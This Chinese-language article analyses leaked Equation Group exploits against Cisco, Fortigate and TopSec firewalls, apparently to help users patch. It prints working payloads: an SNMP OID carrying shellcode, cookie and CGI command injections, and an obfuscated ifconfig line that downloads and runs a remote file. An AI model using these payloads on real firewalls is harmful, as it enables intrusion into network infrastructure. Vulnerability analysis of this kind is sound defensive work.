NSA黑客团队方程式组织(Equation Group) 泄露资料分析 涉及思科、飞塔及天融信防火墙漏洞

为美国国家安全局工作的黑客组织方程式组织(Equation Group)泄漏资料已经在网络上广泛流传,其中涉及思科防火墙漏洞、飞塔防火墙漏洞及天融信防火墙漏洞,为了让广大用户尽快修补相关漏洞及采取对应安全措施,本文根据泄露资料做出的翻译。

方程式目前泄露出的代码中包含一个EXLOITS目录,其中有8个子目录,分别对应8个防火墙漏洞。下面逐一进行简要分析:

思科防火墙漏洞 EXBA — EXTRA BACON

  • 对象:Cisco ASA防火墙
  • 版本:

    • ASA 8.0(3),8.0(3)6,8.0(4),8.0(4)32,8.0(5),8.2(1),8.2(2),8.2(3),8.2(4),8.2(5),8.3(1),8.3(2),8.4(1),8.4(2),8.4(3),8.4(4)
  • 漏洞:Cisco ASA防火墙SNMP溢出漏洞

攻击者需要知道防火墙的SNMP read community。同时telnet或者ssh端口可以访问。

此漏洞似乎是在请求一个较长的SNMP OID时会触发一个栈缓冲区溢出。攻击者先发送一个snmpset请求,将system.sysDescr.0(1.3.6.1.2.1.1.1)的值设置为payload代码。这里并不需要有有效的write commnity,只是为了将payload缓存进入目标进程内存中。然后紧接着SNMPGET请求一个很长的SNMP OID,这个OID的前面一段是” 1.3.6.1.4.1.9.9.491.1.3.3.1.1.5.9”,后面会跟一段shellcode和返回地址等数据(这些数据都被转换成正常的数字加点的OID字符串形式),例如:

1.3.6.1.4.1.9.9.491.1.3.3.1.1.5.9.95.184.67.123.122.173.53.165.165.165.165.131.236.4.137.4.36.137.229.131.197.72.49.192.49.219.179.16.49.246.191.174.170.170.170.129.247.165.165.165.165.96.139.132.36.224.1.0.0.4.53.255.208.97.195.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.25.71.20.9.139.124.36.20.139.7.255.224.144

"25.71.20.9"就是返回地址,转化成16进制形式为:0x09144719。

该EXPLOIT支持’ pass-disable’和’ pass-enable’两种模式,前者是禁用用户登录密码验证,后者是恢复登录验证。

攻击成功之后,攻击者使用telnet或者SSH无需口令(仍需知道用户名)即可登录防火墙,但ENABLE口令仍然存在。

更新:这个漏洞思科已经确认,而且这个漏洞应该是个0day零日漏洞

思科防火墙漏洞EPBA — EPIC BANANA

  • 对象:Cisco PIX 和ASA防火墙
  • 版本:

    • ASA : 711, 712, 721, 722, 723, 724, 804, 805, 822, 823, 824, 825, 831, 832, 80432
    • PIX : 711, 712, 721, 722, 723, 724, 804
  • 漏洞:Cisco ASA/PIX防火墙堆溢出漏洞

攻击者需要有一个有效的普通用户名和口令,然后telnet/ssh登录成功后发送攻击payload,触发一个堆溢出。执行成功后会在防火墙里添加后门代码。后续可以通过bride-1100等程序连接并操作防火墙,还可以直接读写、分配、释放防火墙内存。还可以在目标防火墙上植入BananaGlee木马。

更新:这个漏洞思科已经确认

Fortigate 防火墙漏洞 EGBL — EGREGIOUS  BLUNDER

  • 对象:Fortigate 防火墙
  • 硬件型号:60, 60M, 80C, 200A, 300A, 400A, 500A, 620B, 800, 5000, 1000A, 3600, 3600A
  • 漏洞:远程HTTPD Cookie溢出漏洞

EXPLOIT发送了一个”POST /index HTTP/1.1”请求,Content-length始终设为0,Cookie中的Payload参数放置了一段shellcode代码,Cookie中的authhash参数可能用于触发一个缓冲区溢出漏洞,这个参数用Base64编码,解码后的内容是一段长54字节的数据,在第48字节开始放置了一个栈地址,有可能是一个返回地址。这个栈地址根据服务器的Etag信息从配置文件EGBL.config中读取,该配置文件中包含了多达387个有效的ETAG和地址信息,这意味着攻击者针对大量型号和版本进行了本地测试,其中有205项带有” # BLATSTING”标记,这意味着这些版本均可以植入后门固件(implant)。如下所示:

### model 800 ###########################################

ETAG = 443ed9bc : 0xbffff8f8 : 800 : 3 : 0247 # BLATSTING

部分命令行参数:

–nopen – load noserver on target

在目标服务器上植入noserver远控木马,本地默认木马路径是:

/current/up/morerats/staticrats/noserver-3.3.0.1-linux-i386-static

–wam <max whacks> – probe v3 target for stack value

针对某些硬件型号的v3版本,栈地址不固定,需要用此参数进行探测

 更新,fortigate也已经确认,2012年8月前的FortiGate firmware(FOS)固件受影响. FOS 5.x不受影响

天融信防火墙漏洞 ELBA — ELIGIBLE BACHELOR

  • 对象:天融信TopSec防火墙
  • 版本:v3.2.100.010, v3.3.001.050, v3.3.002.021, v3.3.002.030
  • 漏洞:天融信管理端口溢出漏洞

天融信某些型号的防火墙的管理端口默认在4000/TCP。 EXPLOIT默认会往TCP 4000端口发送握手报文,根据返回数据判断是正常的管理协议。然后发送包含:

<?tos length="001e:0000516a"?><MGR_REQ><REQ_CODE:07>CFG_CMD</REQ_CODE><REQ_CMD:5120>以及编码后的shellcode的攻击报文。攻击成功后会上传远控木马,本地默认路径是:

/current/up/morerats/noserver

EXPLOIT需要指定精确的防火墙版本号,目前只支持4个版本,但没有说明如何精确获取防火墙版本号。

 

天融信防火墙漏洞 ELBO — ELIGIBLE BOMBSHELL

  • 对象:天融信TopSec防火墙
  • 版本:

     

     

     

    • v3.2.100.010.1_pbc_17_iv_3
    • v3.2.100.010.8_pbc_27
    • v3.3.001.050.1
    • v3.3.002.021.1
    • v3.3.002.030.1
    • v3.3.002.030.8_003
    • v3.3.005.057.1
    • v3.3.005.061.1
    • v3.3.005.066.1
    • tos_3.2.8840.1
    • tos_3.3.005.066.1
  • 漏洞:天融信防火墙cookie溢出漏洞

天融信防火墙的HTTPS服务器在处理Cookie中的auth_id参数时可能存在一个堆栈缓冲区溢出漏洞,当参数的长度超过60字节时,返回地址将被覆盖。EXPLOIT给auth_id参数设置了一个64字节的缓冲区,第60字节开始放置了一个返回地址。获得控制后将上传一个远控木马,木马默认地址:

NOSERVER = /current/up/morerats/staticrats/noserver-3.3.0.1-linux-i386-static

EXPLOIT会从ELBO.config文件中根据ETAG值读取返回地址信息,从配置文件来看,被攻击的目标URL有两个:

/cgi/auth.cgi?Url=KeepAuth

/cgi/maincgi.cgi?Url=Index

如果配置文件中没有对应的ETAG项,EXPLOIT还支持一个SCAN模式,可以自动获取并探测有效的地址,例如

./eligiblebombshell_1.2.0.1.py -t 127.0.0.1 -e ETAG –scan –delay=5 –max-fails=15 –max-fails-action=5 -v

 

天融信防火墙漏洞 ELCA — ELIGIBLE CANDIDATE

  • 对象:天融信TopSec防火墙
  • 版本:3.3.005.057.1 到3.3.010.024.1
  • 漏洞:天融信防火墙cookie cid参数命令注入漏洞

天融信防火墙WEB管理界面的/cgi/maincgi.cgi程序,在处理客户端传来的Cookie中的cid变量时,存在命令注入漏洞,攻击者可以使用反引号执行任意命令, 例如在Cookie中设置:

cid=x`cp /t*/cg* /tmp/.a`

 

天融信防火墙漏洞 ELCO — ELIGIBLE CONTESTANT

  • 对象:天融信TopSec防火墙
  • 版本:3.3.005.057.1 到 3.3.010.024.1
  • 漏洞:天融信防火墙maincgi.cgi参数命令执行漏洞

天融信防火墙WEB管理界面的/cgi/maincgi.cgi程序在接收某些参数时,可以直接执行系统命令。例如设置:Url参数的值”Command”,Action参数的值为”sh”,Para参数的值为”sh –c 任意命令”。根据这些参数的名字和执行方法来看,这是该CGI程序自身支持的功能,但缺乏权限认证。

GET /cgi/maincgi.cgi?Url=Command&Action=sh&Para=sh+-c+<要执行的命令>

 

这是哪家的防火墙 ESPL — ESCALATE PLOWMAN

  • 对象:未知防火墙

这个EXPLOIT只是输出了一段命令字符串,应该是为了规避命令行界面中对SHELL特殊字符的检测。该防火墙可能允许用户执行ifconfig来检查网络接口信息,但对于ifconfig的参数进行安全检查时,没有检测$字符。 攻击者先使用echo命令的–e参数来输出要执行的Shell命令,将’;’号用’\x3b’代替,’>’号用’\x3e’代替,避过了特殊字符检测,然后将显示的命令传递给’bash -c’去执行。这样攻击者就可以执行任意系统命令了。

EXPLOIT支持通过tfp/http/ftp方式到攻击者指定的服务器上下载并执行木马。

例如:

ifconfig "$(bash -c \"$(echo -e '/usr/bin/wget http://127.0.0.1:80/test -O /tmp/test \\x3e /dev/null\\x3b chmod 777 /tmp/test\\x3b D=-c127.0.0.1:8080 /tmp/test\\x3b echo eth0\\x3b ')\")"

这段命令可能会被粘贴到某种防火墙的命令行界面来执行。

 

以上漏洞,据资料显示,已有研究者在实验室环境中测试成功。

发表评论